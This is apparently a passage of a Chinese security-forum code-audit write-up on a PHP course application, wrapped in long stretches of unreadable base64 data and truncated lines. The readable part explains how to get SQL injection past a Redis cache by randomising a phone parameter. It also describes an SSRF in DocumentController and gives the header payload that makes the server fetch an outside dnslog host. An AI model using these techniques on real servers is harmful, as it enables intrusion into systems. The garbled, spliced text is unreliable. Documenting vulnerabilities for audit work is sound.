gUFBQUFC4oFMemoKCgoHBB4XfHpomYyHCT8nW2ws8Txf4VFH56/O7YAiJGMSRU5e9iFRTOCxT7V1D46fHjWZESppipTI2PIDJpLhNjQpFE74JzCyGTOOx2bp40DlMv8yo0IYSG4Jn/YOgNC9EqOuwT1NFjueaux1g8qk2/57r9x8++h/tuvJxko2ITChc+fovHpk+4jlvGx1FS58Itwhh90Z1E73iV1SU2Bk18mkVJOgCEyOHLf/+D/Z6upmvUGAyRhAWHojsNGUTsIh6c6OGzlZ+R10UcOOPApdw3Jrn1d/H+F3nvSM1p3OlcRos6LAl9VBxqwPFTi3OOEnztFtK0z/HDx//pVT79oIU8+NtLsH23ks9y2/39HLf/8v07OHHNEh54Op3/W/Y3dlefxg0UFM4T/HQIsprBA0ZRl/My6z2LuNL+Adtqfscvk4ewpngPufv/wpuHZAicwpJpkd2WI0kOsnb/iaymH/4QrQONJz7kzRItoGP4lHtJ9prj/EOSGqn+eDrVTT9+anEuKIRmKNcvvQLrqqd46euyVv2eD/bvPJnJqjdyKFz6R+64YwZHX9xIjWIfChcofhqxBaBVd3xISvYv50UAScJlq6EGELIVTzclDJn8HAv6N4kjzJtYsX4D1e0ePBEwiOmTr2ZkeCg67NRW7+WbnavJsUqIuMU8fPFoNM3X33D9hKY81V/x+tebaWgpx1VPjQuEMGDtdFZzT+UDCHUCE8bNZ0JMFDpRS2Hul6w7cIRGSUKIcKbOfpCEklXYE2YyQOeksuRrVu3KoPoshDkQIo1+D39Gv6i2e3kOPcqu91a3XWO8hMSbfk9U/wRUNGIvXEv+x89RU9tcP90IYq99nNi0VNSuk9TteYnj67bgkiSESCThv9cRnPUCrmH3EhriwHr4fzj6yWfYuhx5dCFjwHBiFz5F3OABaDwnqct4lWNrvsaJb+WLgCHELHicuMFpaCinYd8b5K5e25beg/wAIvhSkm54lMgEE+78dyk1C5/la0E/fgYTPdv488ayTo7n/LB/SWog85MNFL98KVNjN7K60/GuImgi9zz7a4ZWfcHzf1xNieL4FM5T/HQIciMFlVVcPnABk0sNUN77MnIyX+HNAxLqfgu5I+nU9Pj0+YzTHObzb3ZTI0UyYuQ1zEj/kZy9x6HsK97dsBU5fCa3jHDz9eZvOAngqqfRx/v3VL4QEkkjbuSykGy+/O4zqjRDuGziL5hTv5x/57XdISY6mm8z3mGnZigzJixgVko2H+U2eL23EIO46aVHuMTUKeHge9z5l60Irx1MLiffvpLK5tbUTXuHtE5RzAOnP06M9j/kvPEZNnUSUbP/QNKlm6n5YjtCqAmZ8wqJ0d9x7H+fxmaYRuLiP5NSPoecjLY5K+PAARR8fgcl+ukkLXmC5AnfkrWz0of6yYTMfY0E05cce/sJHLpxxC9cxsCK/fy4s81YuitfCJmgOa+S1G8Px/7vOazyaBKu+yMDag9xaEu+V/mF0BI29zli9P/h2Dv/whp8FYlX6SG3d/IlJPaHEzvI7fSycl7Zf00WRyuup1+SBJ3PLdeYMBnVBLhDMPS+CgoK5wx+W2MrOfwp34fdxJTEQNxRtzKLNXyTe7L1jdkbLns1NXZQ2Z1dphsDDNjMuZyoqcAtVbJ5Sxabm9Mkdx1V5jqEwYrAQ11tKRUt9/Xx/j2VD5GkRIdwIms1hyo9QCnf5o9nSXQS5B1uvaqmaAuZFWaghB0lU5gXFge5OT7c/QRrX3marZ1bw1rlg1MDSXLirs3H3fxbdpwaOkhjCMFdnkFt8XGQcil4axMFrakpmFKjqNnyAlV5DiCLgr2LGDxwLGRsbL3KdvAdynNLgB8pPnwDA/oNgZ3f+lC/NEyDQqhZ9xK1BRKQTdHeJQwfNBF2rvGh/FRMA2Kp3foMVbl2IIu8rxLpHxIJIs8H+VMI6h9MzaamdCGOUDpsMQN6KZ/BoMNmtXRZw/PH/i3YrDJ6oxE6uT2pegPLH9xHsLOcKmW0pnAe4zfHJrny2brpz+SMuptFcUaGjPs1ge6X+azA1zFTz+Tl78U19QbuDi2iuLqIouIMMovLfO44zqx8AwEaJ3aHm5YIqhanFW2gHkkIWia1bPa2ujqcdtRajU/3liQn5pOFmP1Sk64xZ67Dc+tLjI07RF3RIeqzVlF2MLvZcYag0jlwW+201M9lrUMVEdIUGr0Zp6Wq9f8uuwXZoPfx7oGoNDoibtxHRPNfhKRGPhrgY/kmNDoHLoutVT7H3mUcg6aOW3iTPwiVti1dkgRuWyNofZSvdSqve1s73+y/u7o4zWVUdZmioHD+4DfHBk0ddIPdRsWR99gV9lt+MWA0hvxtWPzgfJxlq3lr/UHS4wcQH5bC+CmTGHzodd47UuE1rxASstTmgPxd/ply5lORPtwj51n2Ld9A2NCJBPWbQOwN1xOxcTGHNh8/47J9o4HqVbdQlNfuT/aSZsd0lkTokR7ka8bj8SBL3X8hc67afycpkWUQHiUgsMKFi392RRLHiOEp1Odso2nFxUVhVRlEGtABlg7Xnkb5AtQaA5I1l0M5JzgEZAz7Lb+OTUWTVY6ztePo2nmpk3/JQ4PL+ceX65unaAIx6gQ2e4NP5TuwYHdqCNKqoHn536DR43BYm5zOGXfMZzYV6Q0hJCR9MJh3UbVtN1VA6ayVjEqbhLTpGAIzbpsWjT6Alg8E1Ppg3BaznxxPA26nHrUjF2tp01SbFJKGQeVr3Zrk0xr0gA0A3bin6W/6ipyNO1rTu5e/AbezLV0ICZXOSNtODt/kq6tvRN8vDI0Q7Wzu3Lf/jkRgCnFQZ7adhiQKCucH/vlAW0Bkv1lMG5iABkA2MSyhP9bqgo7Ta5Ya6j1xpCbFE2YMJ9QYgk4WCCFjMIQTagwnLEADso6QwAhCjaHoZQFoGXHRY9w55TIGhEYSahpIemQotsZaOqxIWOpp1PQjLb4fkSHRhOub5ppcZdkU6McyfehQYkzxDBoyj5GGfI6XtXzl5a38CnLLaklOu5phETHExl7OJYl68kvz/KK+lqnIosJO/yq7Xs/pPUaifrmVMTcvxdQvFW3cxYQlx+CqKWnu249Re6yM0KmPEZ40GOOQO+k/Oghzzh4/3T+b2pxKQqc9TnhSGoaURaTe+RHJI0w+5j9G9bFSTNOeIjxlMIaBv6T/zHlonC0jKm/yH6c+v64tfeSDxHT41sM3+QqyjtAwcBwTgjuJd47bf3vUg8czzJBD1pFTXaAQMcy6/wWevWc6ocrH/QrnMX7aFVnC9h++ZfGUu/gvNUjS/SQ07GHNlizc7Uccrr1s3T+Uq0fczVKtCqhkx4aX2Fzbn0tmLGWMvuXaFH5x1RSEMJO5+QU2VDjYl/kZ8ROu4OrpM9EKG+bqTNYdzOq4OF77PZuPpTJ78t2MVcs4895n+a7DYNnF2h0mZo+cz42DA3BY8jmw4xMyGgGp6fuhnsqXEOQd+JDNY+cz7eK70Aszhcc/Yn1ew7n7rVi7jkmSGihf9TSB193NgLvvReVpwF64juMbNjWvtXgwf/UA+dc+Tv/b3kftKqVu98PkZlT5pX6S5MH85e8oWPQHku6Yj8p1kvq9T5CzJR98+BxCkjzUr/9v8q55nMSbP0BNOQ37nuL4tqb8ktSz/JLkoPrLJyi94TGS/2sunoL3KT3eSGC78n2Rz3NwLV/mP8ui/5pF3usbKHa2rL2d4/bfUs/QMdxy88XYvlnOjoYuVK9PZ/jweMTabOUbN4XzGsluaxQD04b7pTAhG0gYfgfTnf/kw8OVftvYoeA7QkiE/WI7yfb7yVy56+zcM/n3jPn1Ek4dH3zHscfvpcrHb93OB4QuhXm/vZ+5MZWs/9szrDnWbkryHLb/8IuW8uANo7HvWMErH2RS18ULhRhxO6/fn8TGR59gTdm5I7uCQm/x7+YRjwWz3Y7dbj6nHuoLHSEHog0LR0UAqn7XkTDMSs17+86eAIXvkPWXlV10lQ2020h6QSDZclnz4gPsGDKFfvZOaeew/burD/DpCx+QWdT9LEN8ajKGvF1sL+WCajOFnx9+HbEp/DSIkNsZ/vjvCBQuXOZsarY+T+53+/2y8UTh54EQWi554E2mHnmYF75UNvwrnN8ojk1BQUFB4YJCiaCtoKCgoHBBoTg2BQUFBYULCsWxKSgoKChcUCiOTUFBQUHhgsKv2/0VFBQUzgRJltHp9KjVauTzeFevRwhcLhc2mxXh6S4Kn0Jf4fcRmyZiIsNN569Bnu8o+u9bFP32Line truncated
|
||||
<p>所以必须要把这跟<code>phone</code>随机化来绕<code>redis</code>的缓存才能进行正常注入</p>
|
||||
<h2 id=toc-5>SSRF</h2>
|
||||
<p>这里全局搜索<code>curl_exec(</code> emm感觉是这里 确实是可控的</p>
|
||||
<p>\Application\Course\Controller\DocumentController.class.php</p>
|
||||
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191339-18168472-d498-1.png title><img src=data:image/png;base64,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 truncated
|
||||
<p>从逻辑上来看</p>
|
||||
<p><code>$_SERVER['HTTP_AUTHORIZATION']</code> 跟 <code>$_SERVER['HTTP_X_OSS_PUB_KEY_URL']</code> 这两个值都得存在 他就不会进行403的跳转 那么这两个都是我们可控的只要在header头加入即可,之后就会将我们传入的base64编码的值进行解码后给到curl进行直接curl执行</p>
|
||||
<div class=highlight><pre><span></span>Authorization: Basic Aladdin:OpenSesame
|
||||
X-Oss-Pub-Key-Url: http://dq3be0.dnslog.cn
|
||||
</pre></div>
|
||||
<p>远程测了一下也是完全没问题的</p>
|
||||
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191358-231f2e28-d498-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>加入后返回两百</p>
|
||||
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191406-280d9348-d498-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABM4AAAGTCAYAAADQoV7bAAEAAElEQVR4nOzddYAW1d7A8e/M07297FK7NEt3dxsoiCKKLWJcu9trYFw7MUABEQEpAVFppLtziWVhu5+umfePZ1lYSuAuet97z+ev3XnmmTkzz8SZ3/zOOZLf51YRBEEQBEEQBEEQBEEQBKES7ekTli9d8neUQxCES+Tx+bHZ7X93Mf4yB7JyaVijRsX/0sbfkf+YefaZNQa44kHQHQOpHpAP6YegTV84tAx27YTON0DWajA3gZp2yA1BkhF+nwA5uecsR3jU22B1kJ+bS3xiIiUlJaxZs4aePXuiKAo+nw+NRoPBYCAUCrF69Wr69euHEg5TVlpKTFwcfr8fnU6HTqc76zq8ZQXsyywg2qSlTNGi9TuJT66JpzgfraMasWaJnEIXUSaJAq8GXbCEpAQrxwtVatdKQjpH2V0uFwaDAVmWOZ6ZSa2UlEqf+/1+MjMz2bt3LxaLhRYtWhATE1PxuaqqlJaWEhUVRTgcxuVyoaoqkiRhMpnQ6/Xk5+YSExcHgNPpJCoqquL7Pp+P7OxsvF4vMTExxMTEoNfrK5VBURQCgQBGoxFFUfD7/RXr0Ov1aDQa8vPzK5VLEARBEARBEISTFCUE/O/lSimKQtDvQ6vRVMnypNMzzrzeAABHDsGkbyAUAoMR+g2Cndsg4zCo5d+QJLj5Dqjf6E+LTfaKb3h6XhkfvPwIZlc6Tz39BTe9/S6tdNm8/9Zb9H/8A9omGiD3Vx58fy+fvP0wuxd9x3sr8ojN3c6hqEGMvdXKba/PY0TP+oyf9htKMJUXJrxJ79R45HM+Ip6mbBcPXP8NT8z6AM3umSzMieKuq3rhDwbRSQHmffshmi4PcmWag93zP+ShD+aiqqcfaCp+r5fXf1xLz1oXtlrFncsLL75In4e+oqO6mtc+mUSrela+nb0JyRTD85/8SMvAHzzx0ttsO+zEZLXQ+7Hx3GBezpjFx0kq2MkOXS9e7l/Av2bBx589STWdj/mfv8GGuOt4aXgLQt5ipn7wMOOXHCep840MTTzIntT7efHKWijhIHO/fI5PZ23G2qAHE997HpvkZPYXz7PZncSh9avo/dC